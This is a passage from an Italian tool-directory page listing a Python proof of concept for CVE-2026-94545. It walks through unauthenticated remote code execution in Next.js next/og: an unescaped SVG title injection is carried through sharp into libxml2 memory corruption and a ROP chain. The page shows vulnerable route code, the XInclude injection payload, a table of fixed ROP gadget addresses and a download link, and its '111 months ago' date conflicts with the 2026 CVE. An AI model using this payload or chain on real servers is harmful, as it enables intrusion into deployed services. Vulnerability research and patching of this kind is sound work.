Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-94545- — PoC in Python per CVE-2026-94545: sfrutta input SVG non sottoposto a escape in Next.js next/og per provocare una corruzione di libxml2 e una catena ROP per un RCE non autenticato. | Kitploit
Strumenti/GitHubGitHub/mrdark-ops/cve-2026-94545-
Generazione di PayloadAnalisi delle VulnerabilitàExploitShellcodeSfruttamento di Applicazioni WebSicurezza WebBinary Exploitation
GitHubmrdark-ops/cve-2026-94545-

CVE-2026-94545-

PoC in Python per CVE-2026-94545: sfrutta input SVG non sottoposto a escape in Next.js next/og per provocare una corruzione di libxml2 e una catena ROP per un RCE non autenticato.

Vedi Repository
111 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-94545: Esecuzione Remota di Codice Non Autenticata in next/og di Next.js

Solo per uso di ricerca sulla sicurezza, in ambienti di vulnerabilità autorizzati.

VoceValore
CVECVE-2026-94545 / GHSA-vcvr-r3jv-pc5j
UpstreamSatori GHSA-wx4j-mvgx-mqwp
Causa RadiceCWE-116 (Codifica o Escaping Improprio dell'Output) → Corruzione della memoria del parser XML nativo → RCE
AffetteNext.js 16.2.0 – 16.3.5 (runtime Node con sharp installato); Satori incluso ≥ 0.0.27 e < 0.33.5
CorretteNext.js 16.3.6 / Satori 0.33.5
ImpattoEsecuzione di comandi arbitrari nel processo del servizio Next.js senza autenticazione
Stack TestatoNext.js 16.3.5 + sharp 0.35.4 (libvips 8.18.6, librsvg 2.62.91, libxml2 2.15.3) + binario ufficiale x64 di Node.js v24.20.0 (non-PIE)

Con il runtime Edge (export const runtime = 'edge') o quando sharp non è installato, il rendering passa attraverso la sandbox resvg-wasm, quindi questa vulnerabilità non raggiunge la catena di parsing nativa e pertanto non diventa RCE.

Catena di Vulnerabilità

L'input dell'utente viene concatenato nell'SVG come testo semplice, e questo SVG viene poi inserito interamente in un URL data: e consegnato a un parser XML in linguaggio C per un secondo ciclo di parsing. Nel mezzo viene eseguita solo la codifica URL; l'escaping XML non viene mai effettuato.

Livello 1: App Router — Input Non Fidato Entra nella Funzione di Rendering

Schema tipico: POST /api/og inserisce l'intero corpo della richiesta, oppure GET /api/og?value= inserisce il parametro di query, direttamente nel <title> SVG di ImageResponse, senza filtraggio o escaping.

import { ImageResponse } from 'next/og'

export const runtime = 'nodejs'
export const dynamic = 'force-dynamic'

async function render(request) {
  const url = new URL(request.url)
  const value = request.method === 'POST'
    ? await request.text()
    : (url.searchParams.get('value') ?? '')
  return new ImageResponse(
    <svg width="1200" height="630"><title>{value}</title></svg>,
    { width: 1200, height: 630 }
  )
}

export const GET = render
export const POST = render

ImageResponse riceve un albero di elementi JSX e restituisce un PNG. Qualsiasi route che scrive dati della richiesta nei nodi figli / attributi / stili SVG è un sink.

Livello 2: inoltro dell'entry point di next/og

node_modules/next/og.js inoltra a next/dist/server/og/image-response.js. Il runtime Node carica dinamicamente next/dist/compiled/@vercel/og/index.node.js (percorso nativo); il runtime Edge carica il percorso wasm e non è interessato da questa vulnerabilità.

Livello 3: @vercel/og — Satori genera l'SVG, poi lo passa per la rasterizzazione

Il flusso di @vercel/og incluso in bundle con Next.js (i commenti dell'artefatto compilato confermano che contiene [email protected]) è:

  1. Usare Satori per serializzare l'albero JSX in una stringa SVG.
  2. Se viene rilevato sharp, passare l'SVG alla libreria nativa per la rasterizzazione; altrimenti ricadere su resvg-wasm.
const svg = await satori2(element, { width, height, fonts, ... })
if (sharp) {
  pngBuffer = await sharp(new TextEncoder().encode(svg)).resize(width).png().toBuffer()
} else {
  const resvgJS = new resvg.Resvg(svg, { fitTo: { mode: ... } })
}

A questo punto, l'input dell'utente è già diventato una stringa SVG e viene passato così com'è a sharp (libvips nativo).

Livello 4: Satori 0.25.0 — Il testo è solo codificato in URL, mai sottoposto a escape XML

Per un <svg> scritto esplicitamente in JSX, Satori lo serializza interamente in un URL data:image/svg+xml e poi lo incorpora nell'output come <image>.

vercel/[email protected] src/layout.ts: chiama SVGNodeToImage quando entra in un nodo <svg>.

src/handler/preprocess.ts presenta due difetti chiave:

const SVGSymbols = /[\r\n%#()<>?[\\\]^`{|}"']/g   // Only used for URI percent-encoding

export function translateSVGNodeToSVGString(node, inheritedColor) {
  if (typeof node !== 'object') return String(node)  // Flaw 1: string child nodes are returned as-is, with no XML entity escaping
  return `<${type}${attrs}${styles}>${translateSVGNodeToSVGString(children, currentColor)}</${type}>`
}

export async function SVGNodeToImage(element, inheritedColor) {
  return `data:image/svg+xml;utf8,${`<svg ...>...</svg>`.replace(SVGSymbols, encodeURIComponent)}`
  // Flaw 2: only URI percent-encoding is performed, not XML escaping
}

&, < e > non vengono scritti come &amp; / &lt; / &gt;. La codifica percentuale è solo un requisito sintattico degli URL; quando il parser a valle carica l'URL data:, %3C/title%3E viene ripristinato in un vero </title>, e il testo dell'attaccante passa da "dati" a "struttura del documento".

Quando l'input è </title><xi:include …/><title>, l'SVG intermedio passato da Satori a sharp assume la seguente forma (decodificato a scopo illustrativo):

<svg width="1200" height="630" viewBox="0 0 1200 630" xmlns="http://www.w3.org/2000/svg">
  <image x="0" y="0" width="1200" height="630"
     href="data:image/svg+xml;utf8,...<title></title><xi:include
           xmlns:xi='http://www.w3.org/2001/XInclude'
           href='data:image/svg+xml,...' parse='xml'/><title></title>..." />
</svg>

Livello 5: sharp → libvips → librsvg → libxml2 — Parsing nativo e corruzione della memoria

sharp(SVG buffer)
 → libvips  vips_foreign_load_svg_buffer()
 → librsvg  rsvg_handle_new_from_stream_with_flags()
              ├─ Parses the outer SVG
              ├─ When it encounters <image href="data:image/svg+xml,...">, loads and re-parses the sub-document
              └─ XML parsing is delegated to libxml2
 → libxml2  xmlStringLenDecodeEntities / xmlXIncludeProcessNode / xmlXIncludeLoadDoc

Il payload utilizza due livelli di injection per controllare la struttura di input di libxml2:

  1. Il </title><xi:include parse="xml" href="data:…"> esterno fa sì che il parser passi al caricamento di un documento annidato completamente controllato dall'attaccante.
  2. All'interno del documento annidato, vengono poi utilizzati entità DTD annidate + XInclude per costruire un grafo di espansione e riferimento di entità eccessivamente profondo / ampio.

Lo stato interno di libxml2 viene spinto oltre le aspettative, causando una scrittura out-of-bounds. L'effetto di corruzione viene ottenuto in modo affidabile tramite sequenze di coordinate SVG <path> accuratamente predisposte (double IEEE-754 che trasportano word little-endian da 8 byte), dirottando così il flusso di controllo.

Livello 6: ROP a indirizzo fisso su Node non-PIE → execve

Il binario Node.js linux-x64 rilasciato ufficialmente è un eseguibile non-PIE con base di caricamento fissa; gli indirizzi di PLT / GOT e dei gadget sono costanti, quindi non è necessaria alcuna fuga di informazioni.

Questo PoC è costruito per Node.js v24.20.0 official x64; i gadget sono i seguenti:

SimboloIndirizzoScopo
POP_RDI0xA1EAEDpop rdi ; ret
POP_RAX0x7F38D4pop rax ; ret
POP_RSI0x95823Dpop rsi ; ret
POP_RDX0x776758pop rdx ; ret
STOSQ_RET0xD16725stosq ; ret (scrive nello scratch qword per qword)
EXECVE_PLT0x745FA0Stub PLT di execve
SCRATCH0x6B5F500Indirizzo scrivibile fisso
Scarica lo strumento